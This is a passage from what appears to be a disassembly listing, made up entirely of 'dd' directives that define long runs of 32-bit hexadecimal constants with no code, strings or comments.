		dd 0E4E3D80Bh, 0E537805Ch, 0B16AB36h, 26A284AEh, 0D2475500h
		dd 0F6001D9Dh, 0B7835609h, 0E4B7852h, 0C9B18BEFh, 8EDC2E42h
		dd 542B4E0h, 0C495F51Fh, 0D3C06F1Ch, 0E7BC23AFh, 0D27900EBh
		dd 0E51892CDh, 0E604D04Bh, 73D7864Fh, 2790CC8h,	53DE60C1h
		dd 0A4482A1Fh, 0B2F0E7F1h, 0C595D00h, 183260EBh, 1DCBF4D5h
		dd 0C01F2844h, 0B835D9DEh, 0EA000DD4h, 0A3219E37h, 0F2F3CB38h
		dd 0E002131Ch, 5ED400C5h, 0F26308DDh, 3F0A9200h, 0EF843A86h
		dd 16DF031Ch, 33DB643Eh, 27BE79D8h, 0AE6EB800h,	4187D8EEh
		dd 2DFF1E55h, 0BCD2800Ch, 0A9DBE98Dh, 8F7F7200h, 0E7A29240h
		dd 67CD02BAh, 0EFED4563h, 0F8B1EEC0h, 8912F098h, 540EC397h
		dd 5410A08Ah, 129152E4h, 90D5A6h, 0E0A4C488h, 833B3319h
		dd 0DA67808Ch, 6B0716EBh, 74DC0094h, 0E256C2B4h, 3F008E08h
		dd 0C1B1F23Ch, 94904DDh, 16E652F4h, 5AA7E481h, 9BA47435h
		dd 0E9005D7Dh, 336CA30Dh, 304D718Eh, 892122AEh,	0EF450C19h
		dd 17A2C5D0h, 0D8301F8h, 0E0182ADCh, 3E00B8DEh,	0A2B31876h
		dd 0C023E36Fh, 8B0F0641h, 521D89D0h, 8A98CE0Dh,	0A2BB18h
		dd 0EECAB594h, 50563A1Ah, 0F40D0505h, 0F0D07746h, 23F252h
		dd 7ED3D10Fh, 70C32859h, 0A34C030Ch, 0E80A6077h, 0F4CB00C2h
		dd 8E956A3Ch, 6B00CF3Eh, 1D5FB3D9h, 0FFEAF2h, 98206D73h
		dd 4D776C28h, 8EF60F00h, 1E114066h, 457475h, 85E1ADCAh
		dd 0B6DC70BFh, 0C81F317Eh, 0B8C03CC5h, 0BDAE93D3h, 222D0058h
		dd 79C377EFh, 811CC47Ch, 974099C0h, 0F83B0D1Ah,	599F247Dh
		dd 0F6100DAh, 7108EAB7h, 9E14DE00h, 0C7B038DDh,	26E93FB1h
		dd 55D57200h, 0E0246F34h, 0BF000CF6h, 64CA984Fh, 2E9AE41Bh
		dd 805CE82Ah, 7482CEA6h, 0F10B63E9h, 4A0C5Bh, 9D88119Ch
		dd 64DE0A97h, 8C74FDh, 0CA1F38BBh, 0D279F98Ah, 82EC7B8h
		dd 0F706B842h, 0E22969E3h, 1FAF03F1h, 0EADFA9B8h, 0A6F76812h
		dd 140B1D00h, 0E07AF4h,	0C0B8FCA1h, 0AE2996FBh,	433750C0h
		dd 7C234506h, 0D43434E2h, 752C20E8h, 960570B6h,	600B6604h
		dd 3C9F5CC0h, 0D0F2072Fh, 0F02878A3h, 0CEA98E18h, 0BCD5A701h
		dd 0D2132982h, 310C8880h, 0DBF7C81h, 9AF98D00h,	9A6EDD8h
		dd 450B017Dh, 0C81235Ch, 0D54D4E5h, 786FA017h, 0C075BD01h
		dd 9C50D65Bh, 0C6918Fh,	2B898754h, 683524CDh, 7723A503h
		dd 0ED315E0h, 6904AC30h, 0C20639C0h, 0D2412B2h,	5C9F44EFh
		dd 3D588FC0h, 0CB1028AAh, 670043A1h, 0D39CD1Bh,	0EE12C00h
		dd 0A13F16F7h, 37FD007Bh, 70885BB1h, 0A00527Dh,	0E43B917Eh
		dd 7B9D1626h, 87D400E8h, 55C22F0h, 83002509h, 21CE6DF6h
		dd 5D3CEEh, 1FF1FB4Eh, 0BA957854h, 8B79B30Eh, 450F3F4Ch
		dd 397BAD41h, 7EB050F0h, 0F250C034h, 6B0C142Ah,	24EB7801h
		dd 2048E390h, 0AB292880h, 2F961376h, 0AEE4EF05h, 64C36566h
		dd 82200223h, 0F8C24FD1h, 0D20DD440h, 54861300h, 0AB1EC0Eh
		dd 8BDD3A21h, 99121F75h, 0D387005Ah, 0B8D7D2C3h, 437810C0h
		dd 0CF9F31h, 0A5E51E42h, 0B11835CBh, 9D539C00h,	0E0AFF91Ah
		dd 4C9358AEh, 0DA7B2700h, 8A1494ACh, 0C1AABD00h, 11F00BC7h
		dd 36F80Ch, 0D626BA64h,	1AC2CB68h, 4F00B4F0h, 50946548h
		dd 8342A4h, 2FC6D75Dh, 53867679h, 0B9B9E0Eh, 121A20AEh
		dd 0EAC9ACBh, 0CE97F372h, 0A5402ECFh, 9EB82C07h, 14BC8A37h
		dd 32FE53B0h, 0AF46308Bh, 68C02FA8h, 0F5B840Eh,	9EB1A042h
		dd 1BA10Bh, 1C133C14h, 24D09BCh, 8E7110C2h, 0B89C878Ch
		dd 751A1DC1h, 0F08011C1h, 90D06FAEh, 0FF0CA7A6h, 18198797h
		dd 517986Ah, 91EF74BFh,	89D1C0D4h, 560787A2h, 4323946Eh
		dd 3B57E467h, 24E38B50h, 77CC3CF5h, 0F4AFA600h,	33EDA079h
		dd 59C89300h, 0B894003h, 98650083h, 26DB12F3h, 370716D9h
		dd 0EF862E75h, 431F046h, 884F3609h, 0D05807Dh, 811D8FE3h
		dd 64C0FAB3h, 1B60E8C7h, 49DF3924h, 360004BAh, 33503A83h
		dd 0A6019AEh, 0CB5AFA49h, 0F7420061h, 80DC3710h, 0C7004DB8h
		dd 0E4710A88h, 0C55E0Bh, 0D993ECA6h, 362A55F6h,	5A7CDF00h
		dd 6F10D2F4h, 38DFC5Dh
		dd 3EF1DAD0h, 77B86AE5h, 0DF0FEA8Ch, 80D7C6D4h,	685DCEC2h
		dd 7BB23951h, 5861007Ch, 7D85C5F4h, 2200E384h, 648AFA4Eh
		dd 0EF7EF0Eh, 4BFFC32Dh, 80DD9F7Dh, 0F9AC98EDh,	6E397743h
		dd 581C2DB5h, 0F6E082h,	5DCA8283h, 983EAF01h, 0BA4DAE00h
		dd 3B6AB116h, 0C08E828h, 0FFC2F450h, 2900B628h,	47F3DB6Dh
		dd 3BDA654h, 0C62703FAh, 8ACBD244h, 85807A8h, 3E00EAFCh
		dd 50107D71h, 546C5A0h,	367E05D1h, 99CF804Bh, 9002EB9h
		dd 0B0A0D530h, 1D568218h, 40E21F45h, 942A03E1h,	0D1096E0Dh
		dd 80668BCBh, 0DA20CCB7h, 492400BFh, 8E7E011Fh,	1CF2C24Dh
		dd 80EBC63Bh, 70659C16h, 6E9CFh, 692AF3ADh, 0AE474102h
		dd 25EEF900h, 0DA6E7ED8h, 7E50EC4h, 0E6A06A56h,	0CC54C75Eh
		dd 8F0029F8h, 0B6D848A0h, 26B964h, 5B0B0EB3h, 3838758h
		dd 1E18AE60h, 4D2DF66h,	0CF5F33ADh, 0ED410002h,	0CAC5947h
		dd 6715653Fh, 7E1C9430h, 0F5CF7FC2h, 0D40B40EBh, 0A173B578h
		dd 0E0876C8Ch, 808B7288h, 0C88D6FFAh, 56DAC403h, 0CE5BE9F4h
		dd 0F9E70028h, 0F136D4EBh, 183085F8h, 79DC4151h, 47EC0039h
		dd 9A80828Dh, 0F83ED9A7h, 9CBC87D2h, 9430AFC5h,	79D1C33h
		dd 3B4F847Bh, 7802407Ah, 0C004E93h, 0D98E15F5h,	3895E588h
		dd 0EF249D3Ch, 0E1CE0C8Bh, 163148D0h, 0C43E407Bh, 28C36FD4h
		dd 1CE37AAFh, 80C6CF29h, 0F841B5Ch, 64039266h, 0D2F5F28Dh
		dd 2A6B98E1h, 1420F260h, 0FF497062h, 9CDDA70Ch,	0F2C3FE60h
		dd 80B5A48Bh, 440F0Ah, 0CF25013h, 0F07EB0DDh, 0C4DF0E00h
		dd 0AF146E5Ch, 862A600Fh, 3716988h, 0B3B69D0Ch,	79EA075h
		dd 8E6CB2F3h, 3156C002h, 4B3AD8E9h, 3B6882E8h, 809CAB90h
		dd 0FF3FB84h, 2DD10604h, 40442721h, 504BAF4Ch, 9A0106F8h
		dd 362CB17Eh, 0E4F4C655h, 0E028054Bh, 1F19A3h, 0B02313B6h
		dd 165C27CCh, 0C55400E4h, 0B23B146Dh, 0DB511588h, 0B1024CAh
		dd 933A54h, 513C4817h, 50E1DD44h, 0A035C87Ch, 131BB868h
		dd 760EB76h, 0D0199B9Ch, 0EA20524Dh, 949E1F05h,	0E840EDD0h
		dd 25B5B275h, 0FB2D00D6h, 693ADC2Ah, 0B92086F9h, 77352AE2h
		dd 0FCBB3B88h, 0B3D7AF80h, 69EC2F50h, 52F71726h, 0D0D3BD07h
		dd 3C8148BCh, 7E80636Bh, 89AA8684h, 0EA0F88A9h,	9C0B978Ch
		dd 936680C0h, 30294E85h, 1EC07920h, 4550BBC1h, 0C60033D8h
		dd 7838898h, 0CC8967h, 0E1CDBD81h, 35D460C1h, 0B4F89FE0h
		dd 0D3E4C50Ch, 0CD3040h, 1FF50B47h, 228A2CA0h, 46235000h
		dd 0D42E344Bh, 6D421296h, 671C009Fh, 0F9CAD58Bh, 34F5802Ch
		dd 14955902h, 0B2F480BBh, 60B36AF6h, 90CBD094h,	0BD38BEF4h
		dd 7BBB06D9h, 2B10FB62h, 0D004F534h, 1D3EA8A9h,	0DF8D00BCh
		dd 259AFFA1h, 0AA770017h, 3147604Dh, 467242E2h,	0AB06E000h
		dd 0B3179357h, 0F9B100B8h, 0E1BC14C9h, 8600E38Ah, 0F78DC282h
		dd 93D8C4h, 0BB2417B5h,	0E70DFFBFh, 9000CC7Ch, 0D57EE892h
		dd 5B1120h, 5FFAD8ABh, 932418D7h, 4B7D2D00h, 9E38B81Fh
		dd 74F0003Dh, 276D9C1Ch, 1D036C56h, 865A68CDh, 0C960A893h
		dd 1655004Fh, 0ADC32584h, 8D00A599h, 0CCF95B8Ah, 93B26B5h
		dd 0C2B6998h, 0EB9F200h, 0AE013D4Bh, 29A6B01Eh,	9FF42C7Ah
		dd 5AFF2461h, 2D110095h, 0F249F0A3h, 690720E2h,	0A2E44C09h
		dd 0BD3768F1h, 906FA041h, 0F013E0h, 0C3352017h,	8E2FE832h
		dd 5F8D7D00h, 0C0DCE3CAh, 40100130h, 97533F3Bh,	10BB4792h
		dd 7AFB02D0h, 5F063C05h, 20C08069h, 0F5F7A8A6h,	0A13760F6h
		dd 211001F1h, 0F5BB77EEh, 4C5230F4h, 0F11DAE2Ch, 1A268500h
		dd 7D7C09h, 615F6934h, 41E36DE7h, 3C7BB705h, 0F44F08E9h
		dd 2C096036h, 26E6978Fh, 8EDD8h, 89815F5Bh, 0F2B0BBC9h
		dd 0DB62E300h, 7EDA3724h, 98913E65h, 596BA001h,	0C42AF29Dh
		dd 28008476h, 0B7EBE61Ah, 0F5C99Bh, 5480FAB9h, 82ED1AFh
		dd 0E264500h, 0B78D05FDh, 3FA8006Ah, 863CFBA0h,	17008075h
		dd 0D3984818h, 972EFC2h, 4CBAADCDh, 541AB600h, 9C00C7ECh
		dd 2C2B7825h, 23A480h, 33D931Fh, 0F9E8D8FEh, 1726D200h
		dd 9D86B6CCh, 0C92900A1h, 0CE4DBBA8h, 0C33E8A59h, 0BD478056h
		dd 1BE146E8h, 1D2B00F3h, 734F496Ch, 5AF67429h, 6378C77Ch
		dd 0ED005E76h, 0C6C2EBE4h, 0EC90493h, 0DE532132h, 57C56B47h
		dd 7D4E802Ch, 0CE01BA41h, 0AB49CD11h, 0E4F4AC15h, 0AACA0386h
		dd 0F99CD71Eh, 800D2DD0h, 0A3727000h, 0E288A46Bh, 17F37AAAh
		dd 0A6FFFEh, 14872E63h,	1500E1B9h, 9C4779F4h, 3E029A8Ah
		dd 0E58066B8h, 4F75AA3Bh, 0C6007E62h, 37DA9989h, 251CD0Fh
		dd 0D2EFBA09h, 1061AAA6h, 0B8954006h, 0F015002h, 3E125A6Ch
		dd 0C4C4C69Fh, 29F90033h, 0E654D556h, 0B9060F70h, 0F0876305h
		dd 0F94B2428h, 0E128033Ch, 82E017FAh, 0A00EE5Fh, 0B9BBFEA2h
		dd 0DAD6AAh, 0D3512C5h,	0F9E92CFFh, 0EA7081E8h,	9B73048h
		dd 80BF4F66h, 27992D30h, 0A4900DEh, 64EC1207h, 8EF2AFFFh
		dd 3E23C007h, 15B77040h, 1D0C8079h, 0F60FB1h, 53446D30h
		dd 7C833A68h, 1000DE74h, 3354FC3Fh, 867AF5h, 0E7F76D8h
		dd 0BB020F56h, 4DEE7100h, 0F84850B4h, 0D8386534h, 7B8E81B6h
		dd 0BA32D4C4h, 18E26200h, 236A6F45h, 0DA560F30h, 4B60B47Fh
		dd 0DDEA0FE7h, 0AA07A1FEh, 71200E80h, 0CD7E9C50h, 2D2A0074h
		dd 262C0395h, 0D80024C6h, 65602E27h, 385F104h, 0EAD65275h
		dd 86D0D787h, 4A0145E8h, 6FA07081h, 0FF48A0Eh, 8E08009Dh
		dd 0E022C342h, 0FF002385h, 13A47CADh, 3EE4C0A5h, 71041288h
		dd 0C08D3CACh, 0F70F2780h, 0E8206E32h, 80406842h, 3B57640h
		dd 0D26167C4h, 3E985CBCh, 1F0762E8h, 5408C338h,	6F00842Ah
		dd 0F2BEE16h, 6C35007Ah, 0FF58CF25h, 9900303Dh,	84C06B1Bh
		dd 0D526ACh, 8146AA4Bh,	0DA3FF48h, 5D916400h, 0F8A11CDDh
		dd 30A5EE04h, 9269D53Dh, 0E300065Eh, 7B2E6D6Bh,	1FFFA4C9h
		dd 808D9A89h, 16BE2541h, 7A004D17h, 0A418F9FEh,	1F5F2F55h
		dd 13E1B6Ah, 8FA2A52Bh,	8523FC62h, 5C2D00Eh, 835D00B8h
		dd 0F4F437FBh, 7B9200E6h, 0F5F64325h, 915CD158h, 3FB100E9h
		dd 0BFB73A2Fh, 0C824002Ah, 0BEC0BDD2h, 40D25339h, 98D8F100h
		dd 0BA7F38h, 81D5596Dh,	0FF579FA3h, 3E0CBC01h, 0A7FD643Bh
		dd 4656720h, 0AC0460F0h, 61D18092h, 0EA00F5F1h,	1D1A2025h
		dd 0F2C55Fh, 69A263B3h,	5EEED4C9h, 51816707h, 0E8D08461h
		dd 600792h, 0BB289C87h,	0B9F91AE1h, 40423703h, 0EA5B4434h
		dd 70C860F7h, 0C8A40028h, 91CB2402h, 0CC00F11Ch, 0E0D55D44h
		dd 1395B2EBh, 13BCB4C7h, 6DD40042h, 0C43C68F3h,	0EF1CAA02h
		dd 0E0E6306Eh, 0F6864A95h, 83F00709h, 0E0B4A119h, 8815EA9Fh
		dd 0B4EE3E24h, 530FC140h, 22B40071h, 4752723Fh,	75008CF3h
		dd 85DE936Eh, 0F8299Ah,	31D58F03h, 7E3EC50Fh, 0DDCAF700h
		dd 0C74D62CDh, 12CB0FAh, 0CE0DC89Ch, 320260C3h,	0D91D0B28h
		dd 66D582DDh, 0DB208134h, 0FEF88AE3h, 794F0217h, 0ECBD8DE4h
		dd 7BF2CC40h, 0E9BB6E00h, 447C4CFFh, 48711417h,	68009F85h
		dd 0A466AD24h, 0FE00F4ECh, 28ED309Fh, 9302A9h, 0F85418Bh
		dd 3CF1F877h, 0E42AD0Fh, 1514FA2h, 0A3CC38E7h, 7BF89F0h
		dd 10167AEAh, 58D231E0h, 40A830FAh, 0A8A24800h,	0C8ADE926h
		dd 0F5370C41h, 66A9143Bh, 830B91F2h, 0C0228h, 72F03E44h
		dd 7A0D00BDh, 0C4A8DD6Dh
		dd 900EA8Eh, 96930763h,	0E56CD8h, 0DA62BB60h, 0EC9C0324h
		dd 0D289E203h, 0EBBF6A02h, 2BB6F934h, 0F23928ECh, 5E6800C4h
		dd 6F5277FFh, 1D07CCA6h, 967C6CFBh, 65BF980h, 0BA3E0092h
		dd 0D5B9E61Ch, 4DF6667Bh, 0CAC75800h, 0F0FA4580h, 0B52309BCh
		dd 28009062h, 78645999h, 401E4E09h, 0A9208058h,	0E28A7Ch
		dd 0C1F3921Ch, 3F770DB0h, 2C006973h, 6D0122EDh,	7D71A1h
		dd 0BAE35389h, 9FFB75B6h, 4513CB00h, 1A144480h,	53FC4C69h
		dd 53C77D00h, 6CDDEE01h, 97200F01h, 7BBE3511h, 12634024h
		dd 1F83C2FAh, 75184094h, 0B79BFD2Bh, 0C56064E3h, 417040F7h
		dd 4600A522h, 35F3370Fh, 4ED1211h, 55DE895Fh, 1B8907Ch
		dd 15073604h, 0D0C3E135h, 0CF199Ch, 964B29BEh, 3E384FF0h
		dd 0A4A93116h, 492FC400h, 1456A91h, 0C2207260h,	50EE755Eh
		dd 0D8579DD4h, 8EE6C83Eh, 0CE91885Ah, 2AC0DE3Bh, 82031D68h
		dd 66B08Bh, 0CA89E901h,	0DD7EAB44h, 4DB5E500h, 0A169414Bh
		dd 68871425h, 0B03B0A0h, 6620616Bh, 41E000EFh, 0AB0024CEh
		dd 50F798E5h, 9AF549h, 0B84873B2h, 3C36C3E4h, 0DDC18F0Fh
		dd 701D61Fh, 0A31ED577h, 2DD87C61h, 0FA6FF248h,	0E884051Ch
		dd 0C8FDB751h, 808CA408h, 8179A8h, 4CE06FF2h, 0F5C5F60Ah
		dd 318000B9h, 0E8F1EE95h, 62EA0502h, 7071CC8Ah,	60A16334h
		dd 8D0E68B9h, 7314A1B6h, 0E3E08B40h, 0E877F8CCh, 0ECD90043h
		dd 0E0B7A1BBh, 0E52C3688h, 0AD845C94h, 9CCB6806h, 906FF400h
		dd 1886A485h, 0EB1CD900h, 889D5BA5h, 0BA3000C4h, 27B8E769h
		dd 0B0E4A94h, 0C0A716C3h, 0FC75E6D7h, 61FE0099h, 13AADA83h
		dd 0C2982B1Eh, 89E00260h, 70393A4Ah, 38781F16h,	389FEBAh
		dd 0D482BD0Ah, 15E1F8DDh, 0C04C3613h, 0F4A58CBCh, 0CB7700C0h
		dd 0EC14BF76h, 5900035Eh, 6C425F93h, 0F979A79Fh, 25BBE0CAh
		dd 771B0046h, 426D70B1h, 0D6014D53h, 285EDAB8h,	8440047Eh
		dd 4315FEh, 656219B6h, 2DB0E45Ah, 80A11A39h, 375F97D2h
		dd 18FA5658h, 0D039D0F1h, 7E3D4323h, 0ED85CA7h,	0A72ED8A6h
		dd 9C5AE332h, 218FC1Ah,	0C2E9D19Ch, 0DEC8E03Ch,	9AB80399h
		dd 3E3CD0B4h, 70E88EE1h, 0BF008CC3h, 2ACB7329h,	7288044Fh
		dd 0E4A05C66h, 1E2F8501h, 80FDF1B2h, 0EA6D9558h, 7D1743FAh
		dd 2C2BB810h, 0C030EF80h, 0D30BB909h, 53142800h, 418910EEh
		dd 61E04A15h, 30977624h, 97B8BA34h, 0AC7B7D04h,	0BD80876Fh
		dd 9C8619EBh, 0C9750B7Ch, 3812341Ch, 5C808432h,	16B8CA0Bh
		dd 28AEF550h, 7000883Ch, 9A62D465h, 1C2CAE22h, 9F47CDDh
		dd 0B443647Ah, 94712DC8h, 0FE018BF8h, 0D2FD6D3Eh, 0ED7182F9h
		dd 2765C24h, 5D906571h,	78E0B2B3h, 6E032E8Ah, 18BF1C6Dh
		dd 0A87D8330h, 282666h,	0E673DF63h, 452D882Eh, 0B41FDC00h
		dd 0F6E7AFAh, 0F2B89Eh,	7DCF9530h, 0AD3B9FD6h, 48EB070Fh
		dd 630680B9h, 97A33h, 0A8340E7Eh, 0E01E2122h, 10E7AF07h
		dd 99A0B591h, 37296Ch, 82490FA0h, 0FBFC8114h, 80EEAB00h
		dd 0B1C8AEC5h, 0A4B9883h, 1C115A2Ah, 0BFD200BFh, 0D974A3FAh
		dd 89827938h, 8026D3DEh, 14DA45CEh, 40CB2CBDh, 773EF4h
		dd 47683B92h, 0E56150A4h, 0A9B00706h, 10A7FEh, 0E2817794h
		dd 0E47CC960h, 0CE251000h, 75B8AF11h, 1052634h,	2A290794h
		dd 0CD800976h, 94843C73h, 85000479h, 0DCD8DAE9h, 9C55480h
		dd 0A11E2201h, 1DCB6480h, 0B20C628Fh, 11FA8103h, 0D69C0215h
		dd 43E63D1Eh, 2DF3D8C0h, 7800174Eh, 13F9EFBBh, 67260339h
		dd 0EED09DA0h, 90B551B8h, 1900DEFEh, 9F1C1F93h,	87E489h
		dd 17283595h, 41480AB4h, 90A99900h, 583D3903h, 450008Eh
		dd 5AED7479h, 84008986h, 2EEA260Fh, 0C9DCA7Fh, 39682297h
		dd 0E707F280h, 0C7A95F70h, 0C002105h, 0CBD4323Ah, 4E410045h
		dd 3391903Ch, 1400E7BDh, 9F98BAC0h, 6AA443h, 0E52E5992h
		dd 0B98DD04Fh, 93D73503h, 98EB83FEh, 0CB6955h, 0B7C2EDC8h
		dd 0F8DA41A8h, 70A3D800h, 52BAD38Fh, 0F638005Dh, 8DA97D2Fh
		dd 0BD0026FBh, 28E8872Eh, 27FA08h, 788329D9h, 1642A56Bh
		dd 34BE1B00h, 4635BC55h, 0CCA80279h, 0CAA65777h, 40E049E2h
		dd 2A00A1D0h, 8F5C93E1h, 8DB070h, 998C79B4h, 744DAE0Ch
		dd 4BC2B102h, 0AED4D6C3h, 80FA9EC8h, 0C6E6037Dh, 12376F6Ch
		dd 80F76BF9h, 3648FE24h, 3D0E59E2h, 801A5356h, 547FA307h
		dd 0AB8513E9h, 0C3D6005Bh, 25D65D7Ch, 0F5B1C265h, 0A35CEF05h
		dd 9EE064A1h, 4EDE0088h, 165A5D9Ch, 9513A874h, 4C81FD11h
		dd 3DCA2E8h, 9B0800DEh,	567E2A2Fh, 71015531h, 0FD2C25Eh
		dd 9887F861h, 0B670CA57h, 1706C837h, 65086C5Dh,	2560628h
		dd 7974EE7Bh, 92C00D3Fh, 0B80623D3h, 0A29BE0Fh,	0A0509DADh
		dd 11A48050h, 19BD9C1Ah, 7F0AEBh, 1835140Ch, 2F6FB077h
		dd 0A7DC250Ch, 14FF01Ah, 4D9F4975h, 80917DFDh, 0A1F727FAh
		dd 37726D8h, 109EBC88h,	83E06B53h, 0D00C4F1h, 1C982CFh
		dd 0B5ECE2Ch, 1DECE166h, 0CB5E200h, 0E20316CDh,	305FBC03h
		dd 89ABC89Dh, 91470395h, 8F53AADEh, 0B496D2C0h,	7DD12701h
		dd 933FE7A6h, 0C2AED8h,	22300B26h, 0C4B36FDDh, 81EF8F00h
		dd 5236DBF3h, 5DBE00E6h, 6FE10733h, 0F00C0E4Fh,	205471EFh
		dd 0A640687h, 1051DFFEh, 0F7CDD100h, 6D65F07h, 0EFAE75EDh
		dd 832AD0h, 89E36DCh, 0A02CCED8h, 9AA01875h, 763A6F20h
		dd 605ABAB1h, 0F6AE1658h, 0AF450197h, 0C75C24E4h, 835DD138h
		dd 0F7E60D21h, 275FC0A0h, 0C98C027Bh, 0E9374BB9h, 302F2882h
		dd 7FF74418h, 7C3E1071h, 814B8823h, 51F7EC9Bh, 0A38EE08Ah
		dd 0A5D38400h, 0B528EFC4h, 0BF92005Fh, 6156BD07h, 0B300A85Dh
		dd 0B2087204h, 1E53A693h, 9FB0B1F4h, 0C041C0DCh, 0D4179C3Ch
		dd 5F607800h, 1D7A54F1h, 0DF8B1DF4h, 0DA1400E0h, 0AD6707C4h
		dd 0B0E6F201h, 0BE28C794h, 2CB4128Eh, 0CC4F59E0h, 0CD0E82BDh
		dd 0E0860213h, 0ECE04127h, 37CA0388h, 63971D3Fh, 1C3BB7B8h
		dd 0E72CB200h, 0C134DE9Bh, 0EFC50055h, 0BE5FD56Bh, 5B005926h
		dd 8A7C0365h, 4C5C2981h, 0C300D1EBh, 0D823996Bh, 9B5C0793h
		dd 8B5003Ah, 172FE6A4h,	72C00032h, 0F1C50CFAh, 0ABE0548Bh
		dd 888C1400h, 0B4A11C3Ah, 0C15700BAh, 741FE1D3h, 0DA026D89h
		dd 72F49A73h, 3A2880F5h, 0C4F0D11h, 1709DBCEh, 597ECA42h
		dd 0BFA9DA07h, 3D808691h, 67D4F85h, 1FCD372Bh, 0F800202Ah
		dd 0C0A1DE5Dh, 77E1759h, 0F552439Eh, 2B5085C3h,	0FB328104h
		dd 33F05439h, 1B7B00B8h, 0CED6ACCFh, 3700917Ah,	7C21FD64h
		dd 0E1B639h, 7414D1C7h,	418682C5h, 55EFBC00h, 0FDDFA3ACh
		dd 80420087h, 66811095h, 0E0003262h, 4536C90Fh,	7B4EB6BFh
		dd 0E33C0103h, 1AEBF939h, 7CC0C890h, 458C0F00h,	331058D6h
		dd 5B57474h, 89C98485h,	42DEC0B0h, 0F271E46Eh, 9EC4F000h
		dd 0D1FF3D47h, 0B0180F0Bh, 0AD8095C8h, 0C302EAB5h, 0A070103h
		dd 0C8AA979Ah, 5CDE70FCh, 2D05D866h, 2B1753h, 230137DFh
		dd 680F8562h, 7D2EFAFDh, 5AE17503h, 0DB03C0FBh,	2F513EA8h
		dd 3D68C2Ch, 6DB74ACFh,	749545C8h, 801B1430h, 0B884C081h
		dd 258E003Eh, 2AC7E252h, 0DC004C37h, 1E99E0D4h,	55FDEEh
		dd 9BF0B2F5h, 0A0574FAEh, 0A5DAEB0Eh, 7992A0CEh, 0E60FDh
		dd 8D2B40BFh, 4A6B300Ah, 0F0448315h, 0B6B007D8h, 0EBF02CD2h
		dd 0D4305Dh, 7362063Ah
		dd 7FC16441h, 80E71B38h, 0B74D624h, 7E72304Bh, 4C745Ah
		dd 5FDE20A8h, 0C567353Ah, 0ED0CEC00h, 0F82378Dh, 0B39B0018h
		dd 0D41EEF44h, 790FBFD0h, 0D499E2C1h, 0A60B0090h, 0FB088B25h
		dd 806900B0h, 9C42DA30h, 0EDF4A80Ah, 0D7F74Ch, 0FCCC276Fh
		dd 4A76B9Fh, 5467BAA4h,	0CB83EF71h, 0E87FD141h,	0F331B080h
		dd 6E2EA3F2h, 38367D3Ch, 0E58787FAh, 0F730D025h, 0D12290h
		dd 0BEBCDDEEh, 0E8C46BC0h, 4DDEEC00h, 5EC7EB31h, 6FFA1F59h
		dd 0BA90C0CEh, 4A02D19Ch, 997D9800h, 1C6D7012h,	6F8A00A8h
		dd 881950D6h, 0E71F04E9h, 93805F92h, 2ADF437Fh,	0DB4100A3h
		dd 9CFD9D1h, 0BB02CCF1h, 0EC482EC9h, 97C08103h,	0D9EC7152h
		dd 0C16007Fh, 77A35301h, 7B00A248h, 2775AC2Eh, 0E971ACAh
		dd 0BAADBF19h, 910D8DE0h, 0CC018B44h, 46110C7h,	0B1F8E7ECh
		dd 4A2F042Ah, 942BF696h, 79228010h, 0AC00DB95h,	0BE248A48h
		dd 1266A262h, 7D71BDh, 0FB59D2CCh, 5EF61DD3h, 8E3F830Fh
		dd 94D9AC4Dh, 0C85A0786h, 0D4ADD3B7h, 0BA3A80E2h, 5002431h
		dd 8FA2ED6Fh, 0BD749Eh,	0A462E7B6h, 31BCCA61h, 6EBAB300h
		dd 0BF302B25h, 9CFA76h,	6DA91B89h, 0AA9FCF36h, 7C04190Fh
		dd 0A7104949h, 43B35348h, 929DC0BEh, 0C25504C8h, 80EDE70Ch
		dd 0F11CCE34h, 0F24BAD00h, 788E6ADAh, 8D403BBh,	97D82ABFh
		dd 58937901h, 9B4C099Eh, 1F647530h, 0C3C24AE2h,	80F82483h
		dd 0C03AE7A9h, 0C400A16Ch, 1534437Eh, 0BC27D8h,	96E0CFE6h
		dd 920C0154h, 0B50BB00h, 9FF8EADBh, 27FB001Fh, 0B21714FFh
		dd 74003C9Ch, 573098FDh, 361D52Ah, 9F73DE86h, 582E79F9h
		dd 0C803B23Dh, 0C88E9B75h, 50BAC938h, 7309458h,	0EA6F2E78h
		dd 8B1480D5h, 5700C56Eh, 12114D55h, 3097E07h, 637DF344h
		dd 4FF8A54Bh, 0AB00668Dh, 1040C777h, 241CCFh, 0F7BE8531h
		dd 0B00CFF3Bh, 2907DF78h, 23FD4C74h, 0B0005735h, 4BF41BE1h
		dd 0FC070009h, 0B22E92DFh, 0F700E9EAh, 6B428165h, 1FB4DB89h
		dd 41C92C02h, 0CAAF666Dh, 0E0B7400Dh, 0EC0336F0h, 70EBBED4h
		dd 0C916D0B0h, 2C650005h, 9C81E72Fh, 0E100FE54h, 0FBA896Ah
		dd 722D57h, 0A10B34A7h,	0C3F237A9h, 8900607Bh, 0F7407873h
		dd 67C65DDh, 9E8A0AA2h,	1800C832h, 0F5535BFFh, 0B0D97DBAh
		dd 91E4001Ch, 0CC3F0823h, 0BC18830Ah, 0BA10D4A2h, 0FA4A0B8h
		dd 6E8A008Fh, 0FE713454h, 0E13874E7h, 0EC400043h, 0F4EDE547h
		dd 4CB20990h, 82D5D5DBh, 60DE3C78h, 33510E8h, 0B2C3D09Ch
		dd 9BE7E8E0h, 0A9590300h, 42006087h, 506D548Ch,	1AB6752h
		dd 0D80AF43Eh, 302CB85Ch, 0D10007DCh, 6756AC12h, 0BD9D92h
		dd 29B34F6Dh, 9EA8D85h,	0AD6B5000h, 0CBF3167Dh,	0B91D0012h
		dd 0E1037382h, 0EE003321h, 78DE479Ah, 1A70D1Fh,	0FAC98E3Ah
		dd 30B13C73h, 0BD002750h, 0A1380592h, 5E2D02h, 73FD40D4h
		dd 74564316h, 7B00227Eh, 71425CC9h, 5D838Bh, 0A74758DAh
		dd 97BF9BFDh, 1BA07000h, 5F2D0367h, 0FC757Fh, 20120EC1h
		dd 9A16D7C9h, 0A8A45407h, 1A90F147h, 3A71E08h, 65D05F51h
		dd 2DD8BF97h, 43C5B98h,	0DD17844Ch, 308205C8h, 72F7CE8h
		dd 0C0F92F34h, 0C7AB131Ah, 0CEB6490Eh, 395F2388h, 0A245E8B5h
		dd 206A0087h, 1CBBFBA3h, 0AB00EFEEh, 319CFFECh,	2923675h
		dd 0D8E78A96h, 0EB818D95h, 0D434C44Dh, 2500FC60h, 56B48746h
		dd 0E42101Dh, 0D629FF4Eh, 4DE2FD00h, 0D4006145h, 132A9A9Ch
		dd 0B02CFAh, 0CBB26BA9h, 0FF7AB602h, 451EB900h,	6316B764h
